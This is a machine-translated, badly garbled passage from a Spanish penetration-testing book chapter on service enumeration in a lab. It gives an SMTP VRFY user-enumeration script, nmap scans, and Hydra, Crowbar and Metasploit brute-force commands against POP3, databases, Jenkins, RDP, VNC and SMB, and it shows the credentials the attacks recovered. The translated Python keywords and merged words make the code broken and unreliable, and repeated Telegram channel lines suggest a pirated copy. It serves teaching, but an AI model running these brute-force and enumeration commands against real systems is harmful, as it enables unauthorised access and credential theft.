#AbraelarchivodetextoenmodoLecturayempieceanumerarconopen(users_file_path,'r')asusers_file:
foruserinusers_file: #Cleanuptheuservalue user=user.strip()
#Noprocesarunvalordeusuariovacío siusuario=="":
continuar
tratar:
#CreateaSocketobject
sok=socket.socket(socket.AF_INET,
enchufe.SOCK_STREAM)
#ConnecttotheSMTPServer
sok.connect((ip_address,25))
#Recibeelbannerdesdeelservidor primero sok.recv(1024)
#Verificarsielusuarioexisteenelservidorutilizando
elcomandoVRFY
sok.send('VRFY'+usuario+'\r\n')
#Dormirpor1segundo para no inundar la hora del servidor.sleep(1)
#Gettheresponsefromtheserver results=sok.recv(1024)
if(not"rejected"inresults): print("%s:Found"%user)
exceptException: print("¡Se produjo un error!")
Canal de Telegram : @IRFaraExam
Machine Translated by Google
finalmente:
#Closetheconnectionsocket sok.close()
#Hacerle saber al usuario que terminamos de imprimir
("\ r \ nEl programa ha terminado de enumerar usuarios. \ R \ n")
defmain():
print_welcome()
enumerate_smtp(sys.argv[1])
if__name__=='__principal__': principal()
Intentemos ejecutar el código Python anterior en la ventana de la terminal:
root@kali:~#python./smtp_users.py172.16.0.101
Bienvenido a la superexploración de enumeración de usuarios SMTP
==============================================
backup:Encontrado
bin:Encontrado
daemon:Encontrado
distccd:Encontrado
ftp:Encontrado
juegos:Encontrado
gnats:Encontrado
irc:Encontrado
libuuid:Encontrado
lista:Encontrado
lp:Encontrado
correo:Encontrado
man:Encontrado
mysql:Encontrado
noticias:Encontrado
nadie:Encontrado
postfix: Encontrado
postgres:Encontrado
postmaster:Encontrado
proxy:Encontrado
root:Encontrado
ROOT:Encontrado
servicio:Encontrado
sshd:Encontrado
sync:Encontrado
sys:Encontrado
syslog:Encontrado
usuario:Encontrado
uucp:Encontrado
www-data:Encontrado
Canal de Telegram : @IRFaraExam
Machine Translated by Google
El programa ha terminado de enumerar los usuarios.
¡Eso es lo que llamo enumerar como un jefe!
POP3 (Puerto 110) e IMAP4 (Puerto 143)
En esta etapa, todo lo que queremos hacer es acceder a la bandeja de entrada de un usuario
existente en el servidor. Para que esto funcione, debemos asegurarnos de que el servidor de correo
esté instalado en el host de destino, por lo que veremos lo siguiente:
POP3 puerto 110 abierto, y tal vez el servidor permita POP3 sobre SSL (usando el puerto
995)
IMAP4puerto143abierto,yquizáselservidorpermitaIMAPsobreSSL(usandoelpuerto993)
Un escaneo rápido de Nmaps a nuestro servidor de correo de destino nos dará la información que
estamos buscando (este es un servidor de correo de Linux y no el host de Metasploitable):
root@kali:~#nmapÿsVÿOÿsCÿp110,995,143,993mail.kcorp.local InicioNmap7.80(https://
nmap.org)en2020-06-1014:26EDT Nmapscanreportformail.kcorp.local(172.16.0.100 )
Host (0,00035 latencia).
PORTSTATESERVICEVERSION
110/tcpopenpop3Dovecotpop3d |_pop3capabilities:SASLRESP-CODESSTLSAUTH-RESP-CODEPIPELININGTOPCAPAUIDL […]
143/tcpopenimapDovecotimapd […] 993/tcpopenimaps? […] 995/tcpopenpop3s? […]
Cuentas de correo electrónico POP3 de fuerza bruta
La mejor manera de aprovechar la fuerza bruta para POP3 es poder extraer los usuarios primero y
guardarlos en un archivo (ya lo hicimos en la parte de enumeración de usuarios SMTP):
$hydraÿL[archivo de usuarios]ÿP[archivo de contraseñas]pop3://[IP]
Enelpróximocapítulo,aprenderácómoexplotaryaccederalabandejadeentradadel
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Machine Translated by Google
Servidor de base de datos Oracle (Puerto 1521)
El servidor de la base de datos de Oracle utiliza el puerto TCP 1521, y los mismos conceptos se aplican a
Microsoft SQL Server cuando se trata de la enumeración:
Credenciales de fuerza bruta
Identificar si la versión instalada es explotable
Análisis de enumeraciones básicas de la base de datos de Oracle
$nmapÿsVÿOÿsCÿp1521[dirección IP]
Exploración de enumeraciones avanzadas de la base de datos de Oracle
$nmapÿsVÿOÿp1521ÿÿscript=oracle*[Dirección IP]
Base de datos de fuerza bruta de Oracle
$hydraÿs1521ÿL[archivo de usuarios]ÿP[archivo de contraseñas][IP]
MySQL (Puerto 3306)
El servidor de base de datos MySQL usa el puerto TCP 3306, y se le aplican los mismos conceptos
cuando se trata de la enumeración, como se explicó anteriormente:
Credenciales de fuerza bruta
Identificar si la versión instalada es explotable
Análisis de enumeraciones básicas de MySQL
$nmapÿsVÿOÿsCÿp3306[dirección IP]
Exploración de enumeraciones avanzadas de MySQL
$nmapÿsVÿOÿp1521ÿÿscript=mysql*[Dirección IP]
Fuerza bruta de MySQL
$hydraÿL[archivo de usuarios]ÿP[archivo de contraseñas]MySQL://[IP]
Protocolos CI/CD
La integración continua/implementación continua (CI/CD) es la tendencia más reciente en los proyectos
y está estrechamente relacionada con DevOps.
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Dockercontainers
Jenkins
Ventana acoplable (Puerto 2375)
AppendixBcoversDockertechnology.Youarehighlyencouragedtocheckit
outbeforeproceedingwiththistopic.Generally, ahostrunningDockerwillbe
completelytransparentforyou, andyouwon'tbeabletoassumethatthetarget hosthasDockerinstalled
(checkthefollowingexample) berunningonaseparatenetwork .Dockercontainerswill, puertos
andit'sfortheusertochoosetoopenthese. (I'massumingyouunderstandthispointalready.Ifnot,
pleaserefertothe apéndice.) Thistohackintothesystems
I'veseencaseswhereemployeeswillinstallDockeronthecloudand startopeningportsontheinternet,
andthat'sgoodforus-weneedpeoplelike!
A veces, estos analistas de DevOps irán más allá de la imaginación y abrirán el puerto del
motor Docker TCP2375, también conocido como un demonio Docker. Si esto sucede, significa
que podemos manipular el motor Docker de forma remota creando contenedores y mucho más
más.
Entonces, ¿cómo se ve escanear un host donde está instalado Docker y no tiene el puerto
daemon abierto? En el siguiente ejemplo, escanearemos un host Linux donde está instalado
Docker y también tenemos un contenedor de correo ejecutándose:
root@kali:~#nmapÿsVÿpÿ ÿT5172.16.0.100 Inicio de Nmap
7.80 (https://nmap.org) a las 2020-06-1209:51EDT Nmapscanreportfor172.16.0.100
Hostisup(0.00075slatency).
NotShown: 65525 Círculo
PortStatesViceVersion
tcpopensmppostFixsmtpd
25 /
80 /
tcpopenhttpninx 110 / tcpopenpop3dovecotpop3d
143 / tcpopenimapdovecotimapd 443
httpnginx
/ tcpopenssl
465 / /
tcpopenssl / smtppostfixsmtpd 587 /
tcpopensmtpdftfixsmtpd 993 / tcpopenimaps?
tcpopenpop3s?
995/
4190/tcpopensieveDovecotPigeonholesieve1.0
MACAddress:00:0C:29:55:E6:4B(VMware)
Información de servicio:Host:mail.kcorp.local […]
Canal de Telegram : @IRFaraExam
Machine Translated by Google
En los resultados del análisis anterior, nada muestra que el host tenga un motor
Docker instalado. Todo lo que vemos es que este host tiene un servidor de correo en
ejecución, pero la contenedorización es invisible.
Ahora, tenemos un segundo host para CI/CD en ejecución, y el puerto del demonio Docker
está abierto (TCP2375). En este host Linux, tenemos Docker instalado y ejecutando un
contenedor Jenkins.
root@kali:~# nmapÿsVÿpÿ ÿT5172.16.0.103 Inicio de
Nmap 7.80 (https://nmap.org) a las 2020-06-1210:06EDT Nmapscanreportfor172.16.0.103
Hostisup(0.00082slatency).
No se muestra: 65532 puertos cerrados
PORTSTATESERVICEVERSION 2375/
tcpopendockerDocker19.03.8 8080/
tcpopenhttpJetty9.2.z-SNAPSHOT 50000/
tcpopenhttpJenkinshttpd2.60.3
MACAddress:00:0C:29:96:F8:6C(VMware)
Ahora, si se ejecutaran los scripts de Nmap contra el puerto de Docker, veremos más
detalles, pero nada que lleve a un escenario de explotación real (lo explotaremos en el
siguiente capítulo):
root@kali:~# nmapÿsVÿOÿÿscript=docker*ÿp2375ÿT5172.16.0.103 Inicio de
Nmap7.80(https://nmap.org) a las 2020-06-1211:31EDT Nmapscanreportfor172.16.0.103
Hostisup (0,00040 latencia).
PORTSTATESERVICEVERSION
2375/tcpopendockerDocker19.03.8 |dockerversion:|GoVersion:go1.13.8 |
KernelVersion:5.4.0-37-generic |Plataforma:|
Nombre:|Arch:amd64 |GitCommit:afacb8b7f0 |
Componentes:|[…]
Jenkins (Puerto 8080/50000)
Jenkins es un orquestador durante el proceso de implementación del código fuente.
Durante una implementación normal, Jenkins se programará en un intervalo diario (o algo
más) para ir y verificar el repositorio del código fuente, por ejemplo, GitHub
Canal de Telegram : @IRFaraExam
Machine Translated by Google
(soitneedscredentialstobestoredinJenkinsinordertologintothe repositorio) .A
continuación, itwillcompilethesourcecodefetchedfromtherepositoryand runsomeautomatedtests
(por ejemplo, unittests, regressiontests, forsecurity staticcodeanalysis, etc.)
Ifallthetestspasswithoutanyfailures, thenitdeploysthe sourcecodetothedevelopmentserver
(dedicatedtodevelopers) Server andtheQA (dedicatedtoQAanalysts)
aswell.ThewebportalthatmanagesJenkins willbelisteningonHTTPport8080bydefault.Also,
Jenkinswillbelistening onTCPport50000;. thisportisusedtoconnectamasternodetooneormultiple
slaveinstances.Toaccessthewebportal, necesitará credenciales válidas para poder ingresar y
realizar cambios.
Durante la fase de enumeración, debe buscar dos cosas:
Credenciales de fuerza bruta
Identificarsilaversióninstaladaesexplotable
Hasta el día de hoy, no teníamos un script Nmap dedicado para Jenkins (quizás en el
futuro). Sin embargo, si usamos nuestro escaneo de scripts básico habitual mediante Nmap,
identificará que Jenkins se está ejecutando en el puerto 50000. Por otro lado, Nmap
reconoció el puerto 8080 como servidor web, pero no pudo decodificar lo que se ha alojado
en ese servidor web Jetty:
root@kali:~#nmapÿsVÿsCÿOÿT5ÿp8080,50000172.16.0.103 InicioNmap7.80(https://
nmap.org)en2020-06-1509:16EDT Nmapscanreportfor172.16.0.103
Hostisup(0.00065latencia) .
VERSIÓN DEL SERVICIO DEL ESTADO DEL PUERTO
8080/tcpopenhttpJetty9.2.zÿSNAPSHOT |httprobots.txt:1entrada no permitida|_/ |_http-serverheader:Jetty(9.2.z-SNAPSHOT) |_http-title:El sitio no
tiene un título(text/html;charset= UTF-8). 50000/
tcpopenhttpJenkinshttpd2.60.3 |_http-server-header:172.17.0.2 |_http-title:El sitio no tiene
un título(texto/normal;juego de caracteres=UTF-8).
Dirección MAC: 00: 0C: 29: 96: F8: 6C (VMware)
Advertencia: Los resultados de OSScan pueden no ser confiables porque no pudimos
encontrar al menos 1 puerto abierto y 1 cerrado Suposiciones de SO agresivo: Linux 2.6.32
(96 %), Linux 3.2-4.9 (96 %), Linux 2.6.32-3.10 (96 %), Linux 3.4-3.10 (95 %), Linux 3.1 (95
%) ,Linux3.2(95%),cámara de red AXIS210Aor211(Linux2.6.17)
(94 %), SynologyDiskStationManager5.2-5644 (94 %), NetgearRAIDiator4.2.28
(94 %), Linux2.6.32-2.6.35 (94 %)
Canal de Telegram : @IRFaraExam
Machine Translated by Google
No hay coincidencias exactas del sistema operativo para el host (condiciones de prueba no ideales).
Distancia de red: 1 salto […]
Cuando esto sucede (ver el puerto 50000 abierto), podemos ir directamente al
portal web (Figura 6.1).
La segunda etapa consiste en prepararse para el ataque de fuerza bruta . En un
portal web , deberá comenzar con aran y el nombre de usuario y la contraseña para
identificar el mensaje de error que se mostrará después de un inicio de sesión fallido .
Figura 6.1 JenkinsWebPortal
Figura 6.2 Mensaje de error de Jenkins
Fuerza bruta en un portal web mediante el uso de Hydra
Canal de Telegram : @IRFaraExam
Machine Translated by Google
En la sección anterior, necesitábamos acceder al portal web de Jenkins. Ahora aprenderá cómo usar
fuerza bruta en cualquier portal web usando Hydra (no solo Jenkins). Podemos seguir este proceso cada
vez que queramos usar fuerza bruta en una página web:
1.Abralapáginadeinicio de sesión.
2. Habilite el proxy en Burp y el navegador.
3. Ingrese credenciales válidas y envíe los datos (usando el botón Enviar).
4. Intercepte la solicitud mediante el proxy Burpp y envíela al repetidor.
5. Extraiga los siguientes cuatro elementos:
ODIO
campo de nombre de usuario
Campo de contraseña
Mensaje de error
NOTA
Consulte siempre el sitio del fabricante (solo busque en Google el número de modelo o el
nombre del portal web) para obtener el nombre de usuario y la contraseña predeterminados.
Muchos administradores del portal web mantienen las credenciales predeterminadas, por lo
que no tiene que forzar su entrada. Este es un ejemplo de un sitio web atractivo que mantiene
un inventario de las credenciales predeterminadas: datarecovery.com/rd/default-passwords/ .
Paso 1: habilite un proxy
Primero, necesitamos habilitar un proxy en el navegador web. Tenga en cuenta que el proxy Burp
estará escuchando en el puerto 8080 en el host Kali . No se confunda con el puerto 8080 que usa el servidor
web Jenkins. Podemos usar el navegador Firefox en nuestro host Kali.
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Figura 6.3 Configuración de red de Firefox
Ahora, seleccione el botón de opción proxy y asegúrese de configurar lo siguiente:
Establezca HTTPProxy en 127.0.0.1.
Establezca Puerto en 8080 (ese es el puerto de Burppproxy y no de Jenkins).
Seleccione la opción Usar este servidor proxy para todos los protocolos.
Haga clic en Aceptar para guardar la configuración.
A continuación, abra Burp Suite desde el menú Kalimenu, como se muestra en la Figura 6.4.
Figura 6.4 KaliMenu ÿBurpSuite
Deberá hacer clic en el botón Siguiente varias veces al principio cuando inicie Burp Suite. Una vez que la
aplicación esté cargada, haga clic en la pestaña Proxy y verá que el botón Interceptar está habilitado en la
subpestaña Interceptar, como se muestra en la Figura 6.5.
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Figura 6.5 BurpSuiteProxy
Paso 2: interceptar la solicitud del
formulario Vuelva al formulario de inicio de sesión de Jenkins, ingrese
algunas credenciales aleatorias y haga clic en el botón de inicio de sesión.
Una vez que envíe el formulario, cambie a la sección Intercepción de
BurpSuite y debería poder ver su solicitud.
Figura 6.6 BurpSuite –SendtoRepeater
Cuando esté en el repetidor, visualizará la solicitud. (Yo siempre trabajo en el
Canal de Telegram : @IRFaraExam
Machine Translated by Google
sección de repetidor para enviar mis cargas útiles web; es una de mis pestañas favoritas en
Burp Suite.)
Paso 3: Extracción de datos de formulario y fuerza bruta con Hydra
Para preparar las cosas con anticipación para Hydra, deberá extraer tres hallazgos:
URLruta: /j_acegi_security_check(verifiquelaprimeralíneaen la Figura 6.7)
Figura 6.7 POSTContenido
Contenido del formulario POST:
j_username=prueba&j_contraseña=prueba&de=%2F&Jenkinsÿ
Crumb=6a3b8d2a8000e1aaea8566f6cec42658&json=%7B%22j_username%22%3A+%
Crumb%22%3A+%226a3b8d2a8000e1aaaea8566f6cec42658%22%7D&Enviar=iniciar sesión
(compruebe el texto resaltado en la Figura 6.7)
Mensaje de error: información de inicio de sesión no válida (consulte la figura 6.2)
Este es el comando de Hydra para una fuerza bruta HTTP POST:
$hydra-l[nombre de usuario]-f-ensr-P[archivo de contraseñas]-s[número de puerto]
[Dirección IP]http-post-form"[Ruta URL:POSTFormContents:Error
Mensaje]"
Antes de continuar, el valor del nombre de usuario debe cambiarse de prueba a ^USUARIO^ ,
y el valor de la contraseña, que es prueba y debe cambiarse a ^PASS^ .
El valor final del contenido del formulario POST debe tener este aspecto :
j_username=^USUARIO^&j_password=^PASS^&from=%2F&Jenkins
Crumb=6a3b8d2a8000e1aaea8566f6cec42658&json=%7B%22j_username%22%3A+%22test%22%
Canal de Telegram : @IRFaraExam
Machine Translated by Google
<!--<ce:anchorid="pp:150np:151"role="page-break"/>-- >2F%22%2C+
%22Jenkinsÿ Crumb%22%3A+
%226a3b8d2a8000e1aaea8566f6cec42658%22%7D&Submit=log+ en
Es hora de comenzar a ejecutar nuestro ataque de fuerza bruta:
hydraÿladminÿfÿensrÿP/opt/SecLists/Passwords/darkweb2017ÿ top100.txtÿ
s8080172.16.0.103httpÿpostÿform"/
j_acegi_security_check:j_username=^USER^&j_password=^PASS^&from=%2F&Jenkinsÿ
Crumb=6a3b8d2a8000e1aaea8566f6cec42658&json=%7B%22j_username%22%3A+%22test%22%
Crumb%22%3A+%226a3b8d2a8000e1aaea8566f6cec42658%22%7D&Submit=log+in:Invalid
logininformation" […]
[DATA] attackinghttp-post
formulario: //172.16.0.103: 8080 / j_acegi_security_check: j_username = ^ USUARIO ^ & j_password = ^
Crumb = 6a3b8d2a8000e1aaea8566f6cec42658 y json =% 7B% 22j_username% 22% 3A +% 22test%
22% Crumb% 22% 3A +% 226a3b8d2a8000e1aaea8566f6cec42658 %22%7D&Submit=log+in: Información
de inicio de sesión no válida [8080][httpÿpostÿform]host:172.16.0.103login:adminpassword:admin
[STATUS]ataquefinalizadopara172.16.0.103(par válido encontrado) 1 de 1 objetivo completado con éxito,
1 contraseña válida
Parece que tenemos un candidato exitoso, admin:admin.
Protocolos web80/443
Las aplicaciones web lo son todo en estos días; es por eso que
existe un capítulo dedicado que se enfoca en la enumeración y
explotación de aplicaciones web.
HTTPTCPport80: Sirve para solicitudes y respuestas web en texto sin cifrar.
Si rastrea la red de un sitio web que sirve en el puerto 80, podrá ver las
credenciales de inicio de sesión en texto sin cifrar.
Puerto HTTPS/TLSTCP 443: este protocolo seguro del protocolo
HTTP se llama HTTPS o TLS. La comunicación es segura, por lo
que el niffer no podrá ver el tráfico a menos que haya un proxy que lo
intercepte.
Canal de Telegram : @IRFaraExam
Machine Translated by Google
NOTA
Los portales web como Jenkins, por ejemplo, no utilizan el número de
puerto predeterminado 80 para evitar conflictos con la aplicación web
predeterminada alojada en el mismo servidor web.
Protocolos de comunicación remota gráfica
Conectarse de forma remota a la interfaz gráfica de usuario de Windows y Linux se puede
lograr fácilmente hoy en día. En esta sección, aprenderá cómo identificar un servicio de
protocolo móvil y cómo hackearlo como los profesionales. Estas son las aplicaciones más
comunes que se utilizan para este propósito:
Protocolo de escritorio remoto (RDP): TCPport3389
Computación de red virtual (VNC): TCPport5900
RDP (Puerto 3389)
El protocolo de escritorio remoto es la aplicación común utilizada para conectarse
de forma remota a los sistemas operativos Windows. Si está habilitado en el host remoto,
los usuarios pueden conectarse a la interfaz gráfica de usuario del host de Windows.
Escaneemos rápidamente un host ejecutando un servidor RDP:
root@kali:~#nmapÿsVÿsCÿOÿT5ÿp3389172.16.0.104 Inicio de
Nmap7.80(https://nmap.org)en2020-06-1610:04EDT Nmapscanreportfor172.16.0.104
Hostisup(0.00056latencia) .
PORTSTATESERVICEVERSION
3389/tcpopenmsÿwbtÿserverMicrosoftTerminalServices |rdp-ntlm-info:|
Target_Name:KCORP |NetBIOS_Domain_Name:KCORP |
NetBIOS_Computer_Name:WINDOWS10LAB |DNS_Domain_Name:KCorp.local
|DNS_Computer_Name:Windows10Lab.KCorp.local |
DNS_Corp.Tree_Name:KCorp.local |DNS_Tree_Name: 10.0.17763 |
_System_Time:2020-06-16T14:04:26+00:00 |sslcert:Subject:commonName=Windows10Lab.KCorp.local
Canal de Telegram : @IRFaraExam
Machine Translated by Google
[…]
Fuerza bruta RDP
El protocolo RDP es lento, e Hydra no funciona en el protocolo RDP. Por
otro lado, Crowbar ha demostrado que es ligeramente mejor que Hydra
cuando se trata de fuerza bruta del servicio RDP. Veamos un ejemplo práctico
de fuerza bruta del mismo servidor que enumeramos anteriormente usando
Crowbar (tiene que instalarlo primero usando aptinstall crowbar-y ):
root@kali:/# crowbarÿbrdpÿs172.16.0.104/32ÿuadminÿC/root/pass.txt
2020-06-1614:08:26INICIO 2020-06-1614:08:26Crowbarv0.4.1 2020-06
-1614:08:26Intentando172.16.0.104:3389 2020-06-1614:08:26RDP-ÉXITO:172.16.0.104:3389admin:Contraseña123!
2020-06-1614:08:26DETENER
VNC (Puerto 5900)
La computación en red virtual (VNC) es otro servicio popular que se usa con
fines remotos. VNC se usa comúnmente en hosts Linux con una interfaz gráfica
de usuario (por ejemplo, GNOME) y usa el puerto TCP 5900 de manera
predeterminada.
nmapÿsVÿT5ÿp5900ÿÿscript=vnc*172.16.0.101 Iniciando Nmap7.80(https://
nmap.org)a las 2020-06-1615:14EDT Nmapscanreportfor172.16.0.101 Hostisup(0.00025slatency).
VERSIÓN DEL SERVICIO DEL ESTADO DEL PUERTO
5900/tcpopenvncVNC(protocolo 3.3) |vnc-brute:|
Cuentas:Novalidaccountsfound |
Estadísticas:Realizadas15conjeturasen1segundos,averagetps:15.0
|_ERROR:Toomanyauthenticationfailures |vnc-info:|Protocolversion:3.3 |Securitytypes:|
_VNCAuthentication(2) […]
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Nmap no nos muestra mucho; solo pudimos detectar la versión de VNC.
Para la fuerza bruta de VNC, usaremos Metasploit. (En el pasado he tenido resultados más exitosos con el
módulo de Ms en lugar de Hydra). Tenga en cuenta que no necesita un nombre de usuario para descifrar una
cuenta de VNC. Todo lo que necesita es una contraseña:
msf5> useauxiliary/scanner/vnc/vnc_login
msf5auxiliary(scanner/vnc/vnc_login)> setRHOSTS172.16.0.101 RHOSTS=>172.16.0.101
msf5auxiliary(scanner/vnc/vnc_login)> setVERBOSEfalse VERBOSE=>false
msf5auxiliary(scanner/vnc/vnc_login) )> establecer STOP_ON_SUCCESStrue
STOP_ON_SUCCESS=>true msf5auxiliary(scanner/vnc/vnc_login)> ejecutar
[*]172.16.0.101:5900-172.16.0.101:5900-StartingVNCloginsweep [+]172.16.0.101:5900ÿ
172.16.0.101:5900ÿLoginSuccessful::password [*]172.16.0.101:5900Scanned1of01%hostcomplete(10) […]
Protocolos para compartir archivos
Los protocolos ServerMessageBlock (SMB) y NetBIOS son el corazón del uso compartido de archivos en
los sistemas operativos Microsoft Windows.
Samba no solo se usa en el sistema operativo Windows, sino que se usa ampliamente en los sistemas
operativos Linux para compartir archivos y para servicios de impresión.
SMB (Puerto 445)
El protocolo SMB funciona en el puerto TCP 445 y, una vez habilitado, verá que el puerto NetBIOSTCP 139
también está abierto. El proceso de enumeración de un protocolo SMB debe tener como objetivo los siguientes
elementos:
Nombres compartidos
Lista de usuarios
listadegrupos
Nombre de dominio
cuentas de fuerza bruta
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Lista de versiones vulnerables de SMB
Un análisis rápido de Nmaps debería revelar información básica sobre el host de destino:
root@kali:~# nmapÿsVÿT5ÿp445ÿsC172.16.0.106
A partir de Nmap7.80(https://nmap.org) a las 2020-06-1809:36EDT
Nmapscanreportfor172.16.0.106
Hostsup (0.00072 latencia).
VERSIÓN DEL SERVICIO DEL ESTADO DEL PUERTO
445/tcpopenmicrosoftÿdsWindows10Pro10240microsoftÿds (grupo de trabajo:
KCORP)
Dirección MAC: 00: 0C: 29: 87: 09: 90 (VMware)
ServiceInfo: Host: WINDOWS10LAB02; SO: Windows; CPE: cpe: / o:
microsoft: windows
Resultados de la secuencia de comandos del host:
|_reloj sesgado:media:2h19m59s,desviación:4h02m29s,mediana:0s
|
_nbstat:NetBIOSname:WINDOWS10LAB02,NetBIOSusuario:<desconocido>,NetBIOSMAC:00:0c:29:87:09:9
|smb-os-discovery:|
OS:Windows10Pro10240(Windows10Pro6.3)
|OSCPE:cpe:/o:microsoft:windows_10 ::|Nombre del equipo:Windows10Lab02
|Nombre de equipo NetBIOS:WINDOWS10LAB02\x00
|Nombre de dominio:KCorp.local
|Nombre del bosque:KCorp.local
|FQDN:Windows10Lab02.KCorp.local
|_Hora del sistema:2020-06-18T06:36:19-07:00
|modo-seguridad-smb:|
cuenta_usada:invitado
|authentication_level:usuario
|desafío_respuesta:compatible
|_message_signing: deshabilitado (peligroso, pero predeterminado)
|smb2-security-mode:|2.02:|
_Messagesigninghabilitadoperonorequerido
|smb2-time:||
fecha:2020-06-18T13:36:19
_start_date:2020-06-18T13:32:18
A continuación, podemos ejecutar un análisis de vulnerabilidades mediante un análisis de secuencias de comandos Nmap para ver si podemos
obtener más información (no usé smb*, porque requiere mucho tiempo y
agresivo):
root@kali:~# nmapÿsVÿp445ÿÿscript=smbÿvuln*172.16.0.106
A partir de Nmap7.80(https://nmap.org) a las 2020-06-1810:27EDT
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Nmapscanreportfor172.16.0.106
Hostsup (0.00025 latencia).
PUERTO
SERVICIO ESTATAL
VERSIÓN
445/tcpopenmicrosoft-dsMicrosoftWindows7-10microsoft-ds(grupo de trabajo:KCORP)
Dirección MAC: 00: 0C: 29: 87: 09: 90 (VMware)
ServiceInfo: Host: WINDOWS10LAB02; SO: Windows; CPE: cpe: / o:
microsoft: windows
Resultados de la secuencia de comandos del host:
|_smb-vuln-ms10-054: falso
|_smb-vuln-ms10-061:NT_STATUS_ACCESS_DENIED
|smbÿvulnÿms17ÿ010:
|VULNERABLES:
|Vulnerabilidad de ejecución remota de código en servidores Microsoft SMBv1 (ms17-010)
|Estado:VULNERABLE
|ID:CVE:CVE-2017-0143
| Factor de riesgo: ALTO
| Existe una vulnerabilidad crítica de ejecución remota de código en Microsoft
SMBv1
|servidores (ms17-010).
||Fecha de divulgación:2017-03-14
|Referencias:
|https://technet.microsoft.com/en-us/library/security/ms17010.aspx
|https://blogs.technet.microsoft.com/msrc/2017/05/12/guía para el cliente para los
ataques de Wannacrypt/
|_https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
Detección de servicio realizada. Informe cualquier resultado incorrecto en https://nmap.org/
submit/.
Nmapdone: 1 dirección IP (1 host up) escaneada en 11,49 segundos
Probaremos si el host remoto es vulnerable a los toms 17-010 en el Capítulo 7. Para el
momento, solo estamos recopilando información (podría ser un falso positivo; no
contar con la precisión de los resultados que estamos reuniendo en esta fase). Tenga en cuenta que
puede usar la opción de secuencia de comandos smb-enum para agregar más resultados de enumeración al
resultados:
root@kali:~#nmap-sV-p445--script=smb-enum172.16.0.106
Si desea explorar más herramientas para este propósito, lo invito a probar también
la utilidad Enum4LinuxSMBenumeration:
Canal de Telegram : @IRFaraExam
Machine Translated by Google
$enum4linux-a[dirección IP]
Fuerza brutaSMB
Podemos usar el módulo auxiliar Metasploit smb_login en lugar de Hydra
para el protocolo SMB porque da menos falsos positivos y proporciona un
mejor rendimiento. Para obtener un buen resultado, puede modificar las
opciones de su escáner porque no quiere quemar gas por nada.
msf5> useauxiliary/scanner/smb/smb_login
msf5auxiliary(scanner/smb/smb_login) >setBLANK_PASSWORDStrue
BLANK_PASSWORDS= >true msf5auxiliary(scanner/smb/smb_login) >setPASS_FILE/
usr/share/wordlists/rockyou.txt PASS_FILE= >/usr/share /wordlists/rockyou.txt
msf5auxiliary(scanner/smb/smb_login) >setRHOSTS172.16.0.106 RHOSTS=
>172.16.0.106 msf5auxiliary(scanner/smb/smb_login) >setSMBUseradmin SMBUser=
>admin msf5auxiliary(scanner/smb/smb_login) >setSTOP_ON_SUCCESS
STOP_ON_SUCCESS= >true msf5auxiliary(scanner/smb/smb_login) >setTHREADS100
THREADS = >100 msf5auxiliary(scanner/smb/smb_login) >setUSER_AS_PAStrue
USER_AS_PASS= >true msf5auxiliary(scanner/smb/smb_login) >setVERBOSEfalse
VERBOSEner= >false msf5aux smb/smb_login) >ejecutar [+]172.16.0.106:445'.
\admin:admin' [*]172.16.0.106:445[*]Ejecución del módulo auxiliar completada
msf5auxiliary(scanner/smb/smb_login) >
-172.16.0.106:445-Éxito:
- Escaneado 1 de 1 hosts (100 % completo)
SNMP (PuertoUDP161)
El protocolo simple de administración de red es una base de datos
que almacena información de hosts/dispositivos de red (para fines de
administración de red). La base de datos de información SNMP se
llama Base de información de administración (MIB) y estructura los
datos en un árbol.
Canal de Telegram : @IRFaraExam
Machine Translated by Google
puede usar las tres cadenas comunitarias siguientes para conectarse al servidor SNMP:
Público
Privado
Gerente
SNMPEnumeración
Si pudo enumerar el servidor SNMP, verá muchos
información importante sobre el host de destino:
Interfaces de red
Puertos de escucha
Procesos del sistema
Hosthardwareinformación
Software instalado
Usuarios locales
Carpetas compartidas
Nmap es mi herramienta favorita para el proceso de enumeración. Entonces, para el SNMP
protocolo, usaré de nuevo Nmap para hacer el trabajo. Tome nota de que usaré el
opción sU porque estoy apuntando a un puerto UDP (la salida es grande, por lo que seré
truncando algunos resultados):
raíz @ kali: # nmap-sU-p161-sV-sC-T5172.16.0.100
A partir de Nmap7.80(https://nmap.org) a las 2021-01-0512:39 EST
Nmapscanreportfor172.16.0.100
Hostsup (0.00038 latencia).
VERSIÓN DEL SERVICIO DEL ESTADO DEL PUERTO
161/udpopensnmp|
servidor SNMPv1 (público)
interfaces snmp:|
SoftwareLoopbackInterface1\x00
|Dirección IP:127.0.0.1Máscara de red:255.0.0.0
|Tipo:softwareVelocidad de bucle invertido:1 Gbps
|Estadísticas de tráfico:0,00 Kb enviados, 0,00 K recibidos
|Minipuerto WAN(SSTP)\x00
|Tipo:túnelVelocidad:1Gbps
|Estadísticas de tráfico:0,00 Kb enviados, 0,00 K recibidos
[…]
|snmp-netstat:
Canal de Telegram : @IRFaraExam
Machine Translated by Google
|TCP0.0.0.0:135|
TCP0.0.0.0:3389|
TCP0.0.0.0:49152[…]
0.0.0.0:0
0.0.0.0:0
0.0.0.0:0
|procesos snmp:|1:||||||
Ruta:
\SystemRoot\System32\
Nombre: SystemIdleProcess
4:
Nombre:Sistema
264:
Nombre: smss.exe
|356:|
Nombre:csrss.exe
|Ruta:%SystemRoot%\system32\
|
Params:ObjectDirectory=\WindowsSharedSection=1024,20480,768Windows=OnSubSystemType=WindowsServer
[…]
Nmap hizo un gran trabajo al mostrar toda la información. De hecho, la salida es tan
enorme que tomará muchas páginas, así que eliminé la mayoría de ellas para mayor claridad.
La parte más importante en la salida de Nmap es la versión de este servidor SNMP
(V1) y la cadena comunitaria también se usa (pública).
Resumen
Idealmente, disfrutó de este capítulo de enumeración. En esta fase de prueba de penetración,
recopilamos toda la información sobre diferentes tipos de servicios.
los datos de enumeración recopilados se utilizarán para explotar cada uno de ellos.
luego, en el siguiente capítulo, aprenderá a explotar estos servicios a través de un shell remoto
(y mucho más).
Canal de Telegram : @IRFaraExam
Machine Translated by Google
CAPÍTULO 7
OperaciónFase
En este capítulo, comenzará a ver algunos ataques reales y entrará en los sistemas. En el
capítulo anterior, tenía toda la información sobre cada servicio, y en este, daremos un paso más y
